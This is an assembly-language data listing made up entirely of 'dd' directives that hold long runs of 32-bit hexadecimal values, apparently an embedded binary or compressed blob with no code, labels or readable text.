dd 10BB473Bh, 144C0B6Bh, 66498FD3h, 32C661EEh, 984B300Fh
dd 0C74E3197h, 67307F98h, 0EDCC0B99h, 301D5EF0h, 44D97D5Ah
dd 63CD8B36h, 0B02FB1A7h, 317BB2AFh, 5FB29F66h, 57B13FB2h
dd 81393BD8h, 0E1CDC3EBh, 0BFEF0216h, 87E035CEh, 0C199CA21h
dd 0BBF445CFh, 3F09A17h, 8453092Fh, 0E5FAC019h, 0AB0CBC2h
dd 0EDF00EFh, 0E691EE93h, 5D482F4Ah, 794DED81h, 0EC377DBCh
dd 0F8077CB4h, 0C3CAF9Dh, 0ECA4BEFEh, 0CE523E54h, 0CF11F529h
dd 755F6AF3h, 3D37028h, 0AA6F62F0h, 0BE116007h, 7783BB51h
dd 6D62B443h, 0F6BF76A2h, 0D683F695h, 0C480B60Eh, 0B7E00B2Dh
dd 5D6FC396h, 63E80D80h, 636E19E4h, 0E8C0B196h, 33204D0Fh
dd 0D1106B11h, 998F31EFh, 9BBF985Fh, 8FED202Dh, 0C3E05B5Bh
dd 522E124Fh, 6A7F11D4h, 69891F84h, 4E923A34h, 0FB0347A6h
dd 3FD203EEh, 43A25F45h, 224CA698h, 41E4C693h, 5E619FF7h
dd 2F843E63h, 1B12F720h, 9E58EDB3h, 0CCFD858Dh, 3F039F66h
dd 0DC1EB902h, 0F720EE64h, 525EC39h, 0F7858D69h, 0FBEC67Eh
dd 0F0B11BB6h, 0D096BE11h, 5F801042h, 85A30887h, 7EE4707Ch
dd 0B2F0A161h, 3768E2BDh, 422BBF22h, 950B03Ch, 409BD010h
dd 84886140h, 4996971Fh, 0E1D60DBh, 54FA1A21h, 2D7D2D3Ah
dd 23052EFDh, 7958A1Eh, 61F36E40h, 8FC8E741h, 0ADE54BCAh
dd 0E59FDD90h, 0A540E53Fh, 690B129Eh, 0F0888E1Dh, 0F281653Eh
dd 0B29AF294h, 320B7943h, 5AF95A7Ah, 0A8B941F9h, 0EE555Ch
dd 9CABBB47h, 651E12DAh, 0B60F56A9h, 0BBF5223h, 0FD7DE818h
dd 0DEBDFEA4h, 646CE8C0h, 0C6C56F81h, 0F05EE304h, 0E0484DEEh
dd 0B3C1907Bh, 1A7F9CB0h, 0B36D66FEh, 944C3C1Bh, 364CC7D9h
dd 1E662147h, 0D3A1B07h, 0F9BE65F6h, 0DCCAB9ACh, 0DF37EE61h
dd 0B7F15583h, 9A5606EEh, 0DD87AD66h, 0D4073320h, 15AA7F29h
dd 7749CB59h, 0CC86DFA2h, 31B49029h, 209E1988h, 0E0BAE72Fh
dd 52DD6E4Fh, 864AE029h, 942390h, 0E782CFCDh, 62C285Ch
dd 36172C56h, 3D845B09h, 0A8E17EC2h, 8CFE38Dh, 0AE67E0E7h
dd 7C501408h, 744AD8A8h, 1A44DD89h, 8C53DDDAh, 82811317h
dd 40398946h, 4E22542h, 57389671h, 162E285Ch, 94F3D857h
dd 0EE5B105Bh, 14757C47h, 0C4B13571h, 222BC417h, 413C0B05h
dd 82CD269Ah, 0E693CE24h, 0C5A50B4Bh, 7C7012D2h, 0D5AEE205h
dd 0E09BF8C0h, 0BB4877A3h, 7ED23DA4h, 4474A0E9h, 0B71D2A3Ah
dd 2019CB71h, 64F073FEh, 0D24BA517h, 0EC31A915h, 98C7B48h
dd 53DE5F0Fh, 11E3918Eh, 47910FA5h, 8E7219C8h, 5A11825Ch
dd 0DD039721h, 0D9BE07ACh, 0BBA9C02h, 0F97EFBB1h, 51CDEC20h
dd 99FCB8F9h, 0ECD10A7Ch, 7C9CF959h, 0CB08BE41h, 27B60573h
dd 1EA04810h, 0A5635BF0h, 714AD2B9h, 7095ED29h, 3C29BA5h
dd 0F8C05EDDh, 0C0AE525Dh, 944734CAh, 0F4BEC3A7h, 25A94751h
dd 2E752CEAh, 0BAB9657Ch, 0C82A8EC9h, 0D847AD0Bh, 0E8834D6Bh
dd 0DD28747Ah, 0FB0E6E98h, 0D3DBA2ECh, 7D0AB0E1h, 853A44E8h
dd 808F421Eh, 73A0CE95h, 8BA3CE8h, 3D027F88h, 74069E85h
dd 79E9730h, 5E90BD9Bh, 8CBAE40Ch, 0D397415Eh, 0F4F5E9ABh
dd 33DBDA26h, 0E7B00E8Ah, 12948B46h, 0F17C3F65h, 0ED33ED51h
dd 3B567694h, 27845DA7h, 0BD40F4A2h, 37AA1E9Eh, 9B015BD7h
dd 0F09D0384h, 0D4F7AEBAh, 7AF1E8FBh, 1F443E8Ah, 0A7997405h
dd 0F413E917h, 73D9F029h, 3A173281h, 0DEF10D71h, 0FA5DF45Bh
dd 7EA0FD1Eh, 33EEF804h, 0D0B3BBE0h, 15FA8BE1h, 0A320CF20h
dd 0E6D8621Eh, 8F68CB86h, 64369628h, 0DF51B743h, 92032328h
dd 9D49045Ah, 0B9D4902h, 58D0BF2Fh, 0CA332C62h, 26C6D58Dh
dd 0CBB18B63h, 341C63D8h, 8DC7188Eh, 90338CCFh, 45C60BE0h
dd 0DF620AE3h, 0D99EB320h, 0BA6E6CD8h, 99BA0180h, 5FC329B4h
dd 13A240C6h, 847314CDh, 6679D52Dh, 72013989h, 737E0B3Dh
dd 5CD8B9BEh, 2663AF62h, 1AC998ABh, 9982B266h, 0AB265FACh
dd 65DAC997h, 0AC9972B2h, 0D2050E5Bh, 21A8856Ch, 5F06EADCh
dd 813D5B2Ah, 44ADE228h, 87A2086Bh, 228B600Ch, 0D029EE58h
dd 3CD6B98Ah, 0D6C5F058h, 0E2056B32h, 41B0F588h, 403DAC3Bh
dd 4D1047D1h, 0EC68867Ch, 45EC7C2Ch, 19EA4D8Fh, 53216D40h
dd 3DA0746Eh, 0C9246496h, 4F34D238h, 8C4F74EBh, 9A3DBC66h
dd 48C92C64h, 0A3247192h, 8C90C648h, 373DB960h, 77DE05B7h
dd 0FE107D0Fh, 19FD38F7h, 0FC2CEFB4h, 104C530h, 9A6636E3h
dd 3DA62E33h, 19A18DD3h, 0CD11D199h, 35FF9F7h, 86217396h
dd 86098631h, 0AED2C019h, 9803B0C4h, 0AE18174Bh, 0EF60CF00h
dd 0EC003C30h, 0BC319E0Dh, 58037860h, 0FC31BC2Fh, 90C3F862h
dd 88C588C1h, 0E8C048C7h, 6DB00Ah, 0A013FB72h, 87C019EBh
dd 0A9002BA8h, 5CCC2316h, 0D41CC3B5h, 50666057h, 72BAD01h
dd 3800ACC6h, 0B1C0656Eh, 5F8E01ABh, 0BB073B05h, 3EF85E81h
dd 28C1460Ah, 60A30518h, 51828C14h, 0C1460A30h, 0A3051828h
dd 828C1460h, 323051h, 0B8DD1300h, 0E5h, 100h, 2A000100h
dd 618Ch, 1446h, 1CEDDA78h, 575C6F4Bh, 50AD38F9h, 0AAAA0155h
dd 0BA8550Ah, 23B10A27h, 2D36D3B9h, 422A656Dh, 4929A55Eh
dd 51B71C88h, 9EBA4210h, 190F63B9h, 76330CCFh, 2AA8B35Ch
dd 562B1084h, 0C5620588h, 80BF1582h, 15813F05h, 588560Bh
dd 1F82CD62h, 0E3DF39C0h, 1E77DF7Eh, 0A49D8EF7h, 4E468480h
dd 0F1E73BECh, 3AFDEF9Dh, 0F33B3F7h, 0BA1DD4DCh, 0B755BB9h
dd 0E7FEC77h, 0FDF6ED5Ch, 0F6377D5Fh, 43DDF4DFh, 66E57BFFh
dd 0FFFB53FEh, 0AAC47EE7h, 0FFF5331Fh, 1FBFF9EEh, 6EABA7F9h
dd 0BB5BFFC7h, 0FB51AC09h, 0A93C36Fh, 0DFF86EE6h, 0C2F47E67h
dd 0E9FE467Fh, 0EAB1EFD8h, 0AAC09B7Fh, 0ED01EFF8h, 0B8998339h
dd 193FC0F6h, 6CF88EC2h, 0AB09F60Fh, 91DA01F7h, 0C09C767Fh
dd 0C315853Ch, 39C011E8h, 6EA723F3h, 0F95BFFD7h, 0C9FE7BEFh
dd 58410F5Dh, 0F5EB0175h, 0FF73B7FDh, 7D86AB09h, 0C5C0978Eh
dd 8536400Eh, 0B9AF6159h, 0B3CE191Fh, 0F73EC0DBh, 11C1B46Bh
dd 7FEBBCCEh, 0D300ACC2h, 0DE9EBF4Dh, 0F386EF5Bh, 0D3889C2Dh
dd 0FF131CF8h, 60E7454Dh, 0C57E557Ch, 0D614FBF0h, 653EC29Dh
dd 2E3486A8h, 9380B5C0h, 237AC21Dh, 0E0D17D58h, 672342D7h
dd 0F86B75E7h, 875AD716h, 0EBF83371h, 0EE680h, 37B9AFB6h
dd 0FE7F45DCh, 0F75DF76Dh, 21EBC01Dh, 71EE0270h, 0FB1AD7E4h
dd 157BE20Fh, 0FE02ABB8h, 0E67CFDA9h, 7306B0A0h, 0F0379845h
dd 0F3E0F7BFh, 0DA02DB82h, 8069E08Dh, 7DE56B68h, 0A2E52982h
dd 7C85FC19h, 8D9FFB5Ah, 6C093C56h, 40FCFF13h, 0E608FC51h
dd 3557898Ch, 0C2180507h, 0A7FD7709h, 88AA2926h, 63C22A87h
dd 4794A590h, 94C2B0E7h, 304F0D24h, 1F18C800h, 0F6DA3E5Ah
dd 0FBBCF27Ch, 43DA877Dh, 0C9A402EBh, 0EC7DFFC0h, 34F0BFA9h
dd 8728055Eh, 0AEA42980h, 0FE4B3AF0h, 39FD614h, 67FA1E35h
dd 0AFF57EC7h, 0E1A8BE78h, 89F70DC9h, 0B802331Fh, 0E2D3EE07h
dd 0B38087AEh, 3F75D774h, 0CD7B086Eh, 3402D9CDh, 93D8C35h
dd 0B3CF435Ch, 7099A47Bh, 0CA83E61Dh, 0FFF23CFFh, 0C0F3FD8Eh
dd 0FFFBEFA5h, 94D7713Fh, 311AF33Ch, 0F680F95h, 0B9BFDD8Dh
dd 87F7FEDBh, 0A243D944h, 5313D69Ah, 4E90F180h, 0CB006B6h
dd 0F49AB200h, 1ED600EBh, 0E2B571F9h, 209F54B8h, 0D2484D07h
dd 96EAA634h, 85472073h, 4AB047A7h, 372147EDh, 134E98Fh
dd 0EDE25DA2h, 7865C349h, 0C9FB9E86h, 80EC36CAh, 0F8D11D50h
dd 2D10E08Ah, 7938D792h, 0A0979D6Dh, 69963F1Dh, 8C4158C4h
dd 9A4FC723h, 96B3D355h, 0C0E6B5B5h, 0EC39F540h, 775803Ah
dd 6FC25DC4h, 9ADBD7A7h, 0C340F716h, 2AEE688Ch, 0F7B0B9E8h
dd 1B6EE03Eh, 0B8F639CEh, 0C21EB30Ch, 15EBD633h, 0EC05E159h
dd 42BF138h, 0E06BF37Dh, 0A663E466h, 2D71EB2Ah, 0F9EB7975h
dd 54EACE4h, 0C87B5472h, 0EE7B2E59h, 9DE4AE9Bh, 88AF11ECh
dd 47961E7h, 9C5BBE21h, 1B53A81Fh, 7F330DD9h, 0B28EC7E4h
dd 0D1DC8232h, 9CF45F73h, 7B1BB8C1h, 600D732Bh, 7DACC21Dh
dd 7F7FD977h, 0B3DBE1A3h, 6DB059EEh, 2267F92Fh, 0AB481753h
dd 83EEE0BDh, 9DE7323Ch, 176ED0F5h, 34F84B1h, 0C144BB34h
dd 3282E89Ah, 0E4BEE9B5h, 0A09F879Eh, 4BFFF109h, 2B2D4FEEh
dd 0BCD018A6h, 839AF76Ch, 0C711194Eh, 884C9709h, 9764C697h
dd 2D6E1237h, 0BC0232AFh, 0F66F014Dh, 0E7149F39h, 7F3D148Ch
dd 6722FA43h, 0A1AA19C3h, 727F2082h, 4D27379Ch, 0F23F2637h
dd 20E2EC80h, 78BA0D63h, 0ACC7FB47h, 0D16FD0E3h, 0EC8520D6h
dd 7C02F911h, 3A959176h, 3DEBDEBh, 0F56F63AEh, 0FB814101h
dd 65ADBD69h, 9422F109h, 0D9A303B9h, 8304D7DAh, 3BBCDE78h
dd 9641E07Ah, 7A2DF0C7h, 0D77DA2F6h, 0D2436FFDh, 0C9E0C7A7h
dd 0E652B8BDh, 0B5D2B36h, 0C544B182h, 0BA8B3D36h, 0B668361h
dd 4C8BD036h, 0E561171h, 1E515DEBh, 0A7CF7C80h, 60B72D89h
dd 0BD48218Dh, 25451DBEh, 7B905E8Ch, 99F8BDB4h, 0A96EFD91h
dd 0B4BE0098h, 96327EF5h, 92C753F6h, 0B9F1EBC3h, 59EC1704h
dd 0ACD6322Fh, 73B416CBh, 0EEBDCF5Fh, 18E9003Eh, 0D479580h
dd 0D7EC243Bh, 2D237BE0h, 4326BC0Eh, 0E36AEE6Fh, 8ACB1FDh
dd 0A9371875h, 0EC72D015h, 0E359B239h, 2FF666E3h, 0AE304C1Ah
dd 0C9C4EB5Fh, 397E24E9h, 0C6F9EF2Fh, 0EB7A6C22h, 27CBC171h
dd 0BEE9B542h, 0FBB9F8D5h, 641ED9E0h, 4BF31CF1h, 0A2FEB0A5h
dd 0E5DC3EE1h, 729399C2h, 0EB3C04C2h, 40F34919h, 1681EDCDh
dd 76B4618Ah, 94AA9524h, 4F6E24BBh, 0B31B18A3h, 0D2C39B58h
dd 0E65E32CBh, 53E5D149h, 985DB4E0h, 8B3C815Bh, 0CC178BACh
dd 85638A94h, 7D106F76h, 0B08B5BEh, 6D3DEDCBh, 0DF8E55B4h
dd 0DE5B9FD8h, 781AB487h, 3DA9688Dh, 70BF76B3h, 57D8913Bh
dd 89F22DDDh, 0CD12EF19h, 630B6D8Bh, 140B2977h, 0EE9B2847h
dd 0C90FACBDh, 7ECB13FEh, 0D971EF3Eh, 2243BEFDh, 897BECF8h
dd 0A290D1AEh, 0FBD196BEh, 383DBB80h, 19A8AD55h, 5D295CF0h
dd 0F03ABA8Ah, 2FDA30DFh, 7C6176B6h, 456EFDCFh, 0F1B57964h
dd 2411AECBh, 0E352ECF8h, 14ED89B7h, 0D5A44758h, 0D824F0A7h
dd 69E3BB8h, 225F220Fh, 68058677h, 0E8D83EA7h, 4EF3C911h
dd 385DD1C3h, 137B9AFAh, 897B7BB8h, 0E8DF481Ch, 88439D37h
dd 0C61671B3h, 7F2735Eh, 0A1DD8589h, 0BD81EC33h, 81A9578Bh
dd 0B2E02B5Fh, 0F05BEB00h, 181AB254h, 601662EDh, 158DB1A3h
dd 560229Dh, 6E6D00E5h, 0F86B9DCFh, 0D2D89C3Ah, 59E17518h
dd 4276CEBFh, 0F1A2D4FDh, 733ABF3Ah, 5B1BFBDFh, 0FD375A9Eh
dd 0D681B7CFh, 64B05356h, 6A52418Ch, 0CCD3567h, 60BF1076h
dd 3DD47CD9h, 0F5DDA6C8h, 0FFF7DDBFh, 8F8D796Fh, 88B4A7FBh
dd 65D53325h, 0A1EE4DFBh, 3F58BF82h, 2BEF243Ch, 0E3448BF5h
dd 0E93C1F21h, 0A5A730F8h, 67AC8798h, 6BB53BCCh, 7D99B123h
dd 0E76827B2h, 0C44B3E64h, 0D065A4ABh, 56511C26h, 0B6A6F031h
dd 0AC43DA80h, 2F2CD89Bh, 0F936AF6Dh, 652E9C85h, 8D76850Dh
dd 64C578CFh, 3FB50280h, 11BE34F2h, 8D4822D1h, 0AA7D164h
dd 97DD97B7h, 0D9CCD257h, 0A4176801h, 0D7CE04F7h, 911C0E07h
dd 4FA2EA05h, 7CE3CB6Ch, 852C7B4Ah, 85009DB4h, 9C69C6D8h
dd 0C66164B2h, 0ABF906A3h, 0D615344Dh, 2D181F47h, 0EC7F4207h
dd 8E7B3ABDh, 0B1D0C9AAh, 0D1FE0886h, 1E67EF05h, 403BECC2h
dd 0B9EEB3CFh, 0B527325h, 3E5CAEE2h, 4E3208EAh, 8119F7C1h
dd 2D6CC1Fh, 0ED023269h, 0A90C863Ch, 59CF0870h, 93C3D500h
dd 73A27073h, 0FE291F0Ah, 5C9569F6h, 645A824Ch, 0ED14D0DCh
dd 12652EECh, 0EF790E35h, 0D27DA920h, 8AF73DAFh, 92EF1EF1h
dd 6952204h, 0A4EE07EEh, 5A2CDED1h, 0EF4B9C21h, 4CFBE80h
dd 0E9E9B0E8h, 0F6C8EF12h, 0AFD20470h, 691E833Dh, 7EB7D8EEh
dd 0B7FFF1B9h, 0F703440Ch, 7318D04Bh, 0EB257E8Ah, 22B77960h
dd 0E7490D7Ah, 0E38816A3h, 8CF3D4F6h, 0FCA465BDh, 96B8ED42h
dd 0EE7BFF89h, 7B150325h, 0D608E30Dh, 0F2CE24E5h, 0C3675849h
dd 0BA6A2D70h, 6166CABEh, 6895E70Eh, 0BE119937h, 0C65236DDh
dd 0EE0435B2h, 1963F8E4h, 7FC4ACE8h, 6B4978A8h, 8C67EB57h
dd 5ED33EA9h, 0B40F39FDh, 2C15B38Eh, 0FAA73F3h, 261F806Dh
dd 0BE50B027h, 0A60F646h, 2F703192h, 81EC9C78h, 479018DDh
dd 0FEB782F2h, 6A2EA223h, 0FD7B1F8Eh, 3223D22Ch, 2A9F9350h
dd 0DA0FBD5Ah, 0EB89798Ch, 1EEC3525h, 5874DB76h, 0BBD860C9h
dd 0C7C3F039h, 3C977BDAh, 0F7F0A41Bh, 76B2B392h, 6FB25F41h
dd 812815F2h, 61DE535h, 0B8ED7B1Dh, 3EE540EBh, 0F7910555h
dd 98C4E18Eh, 0EDEC9061h, 36D3866Ah, 0FE0B5E22h, 0C884C4B3h
dd 0B8F0FF73h, 96D6B2B0h
dd 0B6CB6B67h, 2A7273B6h, 9BC20BF5h, 7F10E28Eh, 15B58636h
dd 2B7F5B6Fh, 2D618C7h, 333FDCF6h, 0D684E51Eh, 0AD1F243Bh
dd 1C709F14h, 68DC7B1Eh, 0D013D031h, 835D51D9h, 0DBCE34B4h
dd 5BE50DF5h, 74CFE575h, 92739315h, 3F67CA36h, 772BAFE8h
dd 0F0B0E70Bh, 23697B59h, 71BBCD4Ch, 0DE3A59Ch, 74A5B6C9h
dd 0F63E06BEh, 1F39B003h, 0F3DC2A78h, 0CFF75DBFh, 0B04D7BEEh
dd 57BB3DEAh, 9F66A70Bh, 0ADB2A470h, 58A43A16h, 0D6117AA5h
dd 298B4BC8h, 0DF11CE50h, 1CCB9B25h, 73D1A63Ch, 31CE3FD8h
dd 87D95E07h, 0A04FB2D3h, 138BF0EBh, 2AD229C3h, 0B0396527h
dd 82999619h, 836EE433h, 7FC8FEE6h, 0F038D713h, 0BFC67244h
dd 14AB8D40h, 2239A541h, 0B976F14Dh, 0E48D51D7h, 5112B817h
dd 34F25935h, 8883D54Bh, 72B90A6Bh, 6641F3CDh, 0ADBC461Fh
dd 0CF1ED2D7h, 27C7F765h, 87D38BDCh, 1D6198A7h, 0E713BFFCh
dd 0C4E27489h, 0A4AD2136h, 0EEB36AEBh, 9B33498Dh, 0A10FBBECh
dd 89429CE2h, 0B29F717Ah, 95140783h, 79F78C60h, 7B94FD76h
dd 0CFF9AE78h, 0AEEFAF55h, 0BCE7FD40h, 4C7184D7h, 7A30EDA4h
dd 8554B75Eh, 0E9451734h, 8F199B19h, 1AF40875h, 8B7FA693h
dd 5713B02Ah, 3CDBA82Bh, 6C55E0A0h, 54AC1553h, 37A3B483h
dd 0BBC75C1Ah, 601A4F88h, 960A9C19h, 234BF7D4h, 8421DB72h
dd 0A2B66815h, 0C04DE718h, 0DC835D1Ah, 0AC2A508Fh, 91FF1E5Fh
dd 0F8E95AB7h, 0FB14E10Fh, 912701A0h, 0E248B7BFh, 0FCF49601h
dd 4651EFDEh, 4CAAA2ACh, 921E7669h, 55E4229Dh, 504BFFA3h
dd 35584AF2h, 269B23DDh, 0A45A351Eh, 0DE5DC01Eh, 0BF411C63h
dd 8F7FAAECh, 4C521D56h, 0C8A7F563h, 0F70DAA45h, 921E8780h
dd 39007107h, 444EBC9Dh, 5EA034ADh, 0E4535D37h, 4457310Ch
dd 0AC4887A5h, 1749C8F7h, 0F36FF593h, 2FAD10F5h, 68A451E7h
dd 0CD5CD43Dh, 23F90AF0h, 35848043h, 54291C5Ah, 0D2D19626h
dd 61F2F3D1h, 16447B31h, 0F2B3D748h, 7F73DD52h, 0A458C96Eh
dd 7C01C495h, 0CF5AB553h, 0F609C21Dh, 0BB1A0EBBh, 5EE89078h
dd 6B0C039Dh, 399A49CFh, 0B2958603h, 5160D011h, 7BCA61E8h
dd 0E257E7C5h, 2F365D91h, 695C80ADh, 6A41FE1h, 7D85CC6h
dd 0A6F86D30h, 77039E4Fh, 1686A2FDh, 96638D3Eh, 0B661E9E0h
dd 88D714A1h, 6A2B2E2Fh, 0E4778CBFh, 8D228E53h, 40A635AAh
dd 199F73DDh, 34FBA3ABh, 0AB9988C3h, 0F5362E4Ch, 6ADF6D0Bh
dd 0BDA23E9Eh, 1DB4E650h, 0D790EB46h, 6E8A5A34h, 0A41BBEC1h
dd 7341767Bh, 983F298Ch, 2589F8Fh, 73B5600Eh, 0E7DF82EEh
dd 0FBE0EA90h, 3BC5F24h, 92BB1A62h, 0B123F39Eh, 500BE483h
dd 0F5429E75h, 1EF00B79h, 99CEFD64h, 7788B4B2h, 8E3118Ch
dd 0F26A33B0h, 147192E8h, 76E904EFh, 4DF7C9B3h, 5236C288h
dd 0A23DCC47h, 3EAA8755h, 7A7E79Dh, 51C45F11h, 0D878AF30h
dd 11F2A854h, 5B42EEB1h, 9290CD10h, 37593BDCh, 62A3159Dh
dd 46B257CDh, 0B2C1B5EDh, 67E316EFh, 0C64471C3h, 0C07C2EBCh
dd 48CF0510h, 9F948EF0h, 4B19A939h, 49187C95h, 952732Eh
dd 0DD4AD89Ah, 0B4758F26h, 6E892CF4h, 2C5F2F74h, 15F6A9F3h
dd 0FFCD600Eh, 0F2F325BBh, 3D8AA16h, 0B0B6778Fh, 0E95D37AEh
dd 48974DABh, 0DA96DAB9h, 7571D44h, 883967EBh, 8E2639h
dd 0ACC7C34Fh, 0C70AA6F7h, 9C88AF29h, 8ED56896h, 0A278058Fh
dd 13BB6713h, 0F1920304h, 51E7DF12h, 8F4C6A6h, 0E2C60434h
dd 0F7A17F36h, 16615A17h, 0B6AEF74Ah, 12BAECC5h, 0E21DC5DEh
dd 0D937ECF9h, 75CB91F9h, 86FCD8F4h, 0F769E69Ch, 30E296C1h
dd 3E5896ACh, 5FE916D7h, 0FD7D196Eh, 82F2B434h, 9D64579Eh
dd 5924A324h, 1ECD10C0h, 7BA25234h, 0AB4F1E94h, 0CC509FCCh
dd 8B88A135h, 672809B3h, 27DF4B9Ch, 0D74391C8h, 7BDE7EA3h
dd 0D477FCE6h, 466B7FF9h, 0C7B1872Eh, 79D3F3E9h, 635F9D57h
dd 6D37A61Ch, 0B2BC6E7Ah, 879C306Dh, 0C623D4AAh, 0A8BBA692h
dd 17BC0FBh, 0B9763F5Bh, 0D3C7E0AEh, 0DA4DB1E0h, 0D66168CEh
dd 77B57334h, 0D1C739DCh, 83793AC2h, 6963157Dh, 37D7533Fh
dd 79751F34h, 471D1759h, 0BD9D62F0h, 0C6F25C76h, 0F58CC20Ch
dd 96ADD28Dh, 3959DC93h, 237678D7h, 0AB181BF0h, 7BEFA1DFh
dd 958FCB80h, 0C46E9F84h, 0E745757h, 0C8C2B38Dh, 0C205688Bh
dd 0D6EAC669h, 7FAC9F55h, 0F35B5E5Bh, 5D1B0FF5h, 0A62CBBA6h
dd 94751520h, 437E943Bh, 570D8DE6h, 0A18C0BEAh, 9CB26929h
dd 87016D5Ch, 0AEC2202Ch, 92C48C1Bh, 0F94AFEF6h, 3084C8EEh
dd 8B7EF3A2h, 1658AA04h, 5C8F3D62h, 0F5C87883h, 9C0DCC25h
dd 76D9CFB6h, 0E93AEE15h, 686C9712h, 0C30BF1CCh, 6177BAF1h
dd 4D4F39A7h, 0BC85B331h, 0FBE27A4Bh, 731EBA80h, 0BBDCEBDEh
dd 1A0AD4ADh, 7FA4C5FDh, 4CBDD360h, 0AB4A4E11h, 7B26E265h
dd 33A5E3F7h, 0F4C85DF7h, 1C1A055Eh, 2F742E11h, 0E654CD91h
dd 197353BAh, 523B9499h, 0E1F78CEBh, 0C2AD64C6h, 0EA296FAEh
dd 0BA5A7E63h, 1A5BE22Ah, 9B55BEF9h, 0A27D49EFh, 6B528185h
dd 0C78CCE72h, 5DCF9BFCh, 0B69A732Dh, 0E9AD8E0Ah, 0ED8B3761h
dd 5E1B9394h, 3A201BE5h, 0C8EAE9FAh, 35EE3999h, 0AC66F38Ch
dd 0D30EB881h, 0C33F6F73h, 0AA7C5ADDh, 0B7C093B0h, 705912D9h
dd 8DB92414h, 0C8499349h, 9AB1776Bh, 11D7F29h, 53CF71F7h
dd 0B91CE0A8h, 60F2CA55h, 5C471C07h, 0F5B14352h, 2F66F4A9h
dd 0CA38C3F2h, 61C37EB7h, 0F656A546h, 0DAEB5F28h, 0D210C4C8h
dd 3215CD69h, 7BB652B1h, 29E6D53Ah, 26E29727h, 5BF90DB6h
dd 0E876FACAh, 189DF1C2h, 556C83F4h, 7C5B996Ch, 11F27ADDh
dd 8DAB5978h, 0C4FBC967h, 3F7D317Dh, 9FC05BF3h, 0AC3780BBh
dd 0EF1A8D3Eh, 0CBE07307h, 6FE6EA76h, 0B7C788FBh, 7C1444DFh
dd 0C56907B7h, 65B7297Ch, 0E3C7090Fh, 83387D2Ch, 0B8F2A877h
dd 4A8DA843h, 48D631CDh, 2D3CCEB7h, 1A7B49B9h, 2E75ED2Ch
dd 0EC435F30h, 88EEC8E2h, 88E6F3F0h, 4354738h, 0FC36353Dh
dd 0F74BDEDFh, 974DCDBFh, 4CAD499Eh, 9F7C4E3Eh, 58768DB0h
dd 0A70BE2F7h, 1712280Dh, 0FDCDCA7Ch, 708F2772h, 18CE82E3h
dd 9AD8BA77h, 2EFF7C62h, 637B013Dh, 0E71D2471h, 73777270h
dd 69A25D72h, 0E5774DE7h, 0A9AEF040h, 8552B956h, 7FF3A54h
dd 976BF74Eh, 27A95DEBh, 0C827EFA4h, 2FF3DA0Eh, 0BEFDACE1h
dd 5B660976h, 0FBE9CFE3h, 0AF78B432h, 475E6B06h, 0BB68278Dh
dd 71CBB911h, 39B3B84Ch, 29F7E663h, 5BB924D8h, 0E82E7690h
dd 0D4F5992Ah, 50BC8C75h, 8FE5CF58h, 0FCF4CBB8h, 7AFD2533h
dd 798FAE12h, 0B0B4F631h, 4F738757h, 53740A25h, 0CD8FF2D5h
dd 0E839954Ch, 7E302571h, 44F68077h, 0E077C718h, 7BD788ACh
dd 9E53F1A4h, 511B3858h, 0E3D5BD4Eh, 0D696545Eh, 71F5C51Dh
dd 0E6F4B6E7h, 0E5977AE8h, 0D4474B06h, 3D7352B9h, 0CD20EEA0h
dd 96263BB9h, 241CF149h, 9B6FE242h, 8DFCB2CFh, 4C56DF1Ah
dd 0DB19DAA5h, 1D2743C7h, 0D2B07BFAh, 35EFE3CCh, 0D29509FFh
dd 0B59EA83Dh, 0C0D7BC5Bh, 0CE3AEA32h, 0BF1DA1B8h, 0A01F630Fh
dd 97BE03DCh, 0CB90D9Bh, 0D80ACEB4h, 0A89FA5BEh, 319A462Ah
dd 89036FB0h, 55F2D43Bh, 6AEBB8C3h, 6FDFD406h, 0B875957Ch
dd 4BDB7449h, 0F3FEEBE8h, 0BF316F75h, 0F727D09h, 0C93A0729h
dd 0E06FB1CCh, 0F6DFF3D1h, 0B95B9FF3h, 6D18B595h, 0AC7B5571h
dd 77F79FF1h, 0AEE69658h
dd 0FDD29D56h, 44F43A06h, 0F1DE2634h, 0A2B0BFB3h, 25AC4A6Bh
dd 62305CE2h, 11F43907h, 249A2B41h, 0B66050ADh, 0D6A47241h
dd 0D812788Bh, 4EEF3C7Bh, 0B9F84473h, 5D03DEE8h, 0CAEA6FA7h
dd 983CE219h, 9FA6FD9Dh, 59CFD3FDh, 0BC33D226h, 67C8FC15h
dd 2CE6AE63h, 71E407DCh, 0F77A895Eh, 36AE3AAEh, 313934DEh
dd 0B89076BBh, 0E59362E5h, 0F5D136DFh, 8AD88DEEh, 0A6B1E62h
dd 86A539F7h, 0FC95D926h, 0A48467FDh, 3C64EAEFh, 0FDB665DFh
dd 0D1A84329h, 0B7222FA1h, 0F74E6635h, 0E1E4955h, 4AB238DFh
dd 93C0379Fh, 0B95AF92Fh, 9CFE6F4Ch, 56F6C522h, 7F64D541h
dd 0B6295CF2h, 72FCE6D4h, 1AEE1BDEh, 0A835B7BCh, 5D39AC88h
dd 60749AA7h, 0C82F6F84h, 0DEE4EEFBh, 0E675AE1h, 53C8D71h
dd 0C025DBC6h, 0EBD936DBh, 0FBE27658h, 1B5F16F3h, 0F134FD4Fh
dd 0FA18B8DDh, 8F543337h, 37A620EFh, 7C3EADE9h, 0F5C0A7FAh
dd 0AC68AF42h, 896E62E5h, 0CB583F65h, 0EFA4AE5Fh, 3618E247h
dd 0FE9606EEh, 14D8E905h, 8E7B579h, 0E813EF76h, 3D04380Dh
dd 2519F961h, 0BAB1BE33h, 283444C8h, 889D9291h, 0B9BD806Dh
dd 0CC2FF93Bh, 7ACC9D5Fh, 5DFBB563h, 821D67AAh, 5E4AB787h
dd 25F28877h, 0F3D31DFBh, 7789D812h, 2BB02E13h, 33B0D5B1h
dd 6AB81583h, 8DBBA7E2h, 0DF5D576h, 235D96BBh, 68F5D370h
dd 0EC936C44h, 0BC33B9AAh, 0C3F957E3h, 0D555D733h, 13BD7317h
dd 0D5C4C115h, 2DC1AAEFh, 0EAEA9CDFh, 0D8DCB8ABh, 786DCB3Ch
dd 0B46F8937h, 0B6FD3B1Eh, 275BD2C4h, 0DF1F2D62h, 0DB9C7A3Ah
dd 984AA545h, 0B773AF8Eh, 65D4A1Ah, 2EB94B16h, 81D5DD08h
dd 0C2B8EE15h, 5645F3C6h, 0D573D24Fh, 0C154C106h, 8B17EE52h
dd 2DDCEC33h, 0F588A9A0h, 6605A084h, 4B899670h, 298C9E2Bh
dd 0D635588Ch, 0DDCF7225h, 22ADCAABh, 0BB18D830h, 48CCD75Bh
dd 466E71F3h, 0B3C74AE3h, 1BF38375h, 94D4E7E4h, 37A2ADDFh
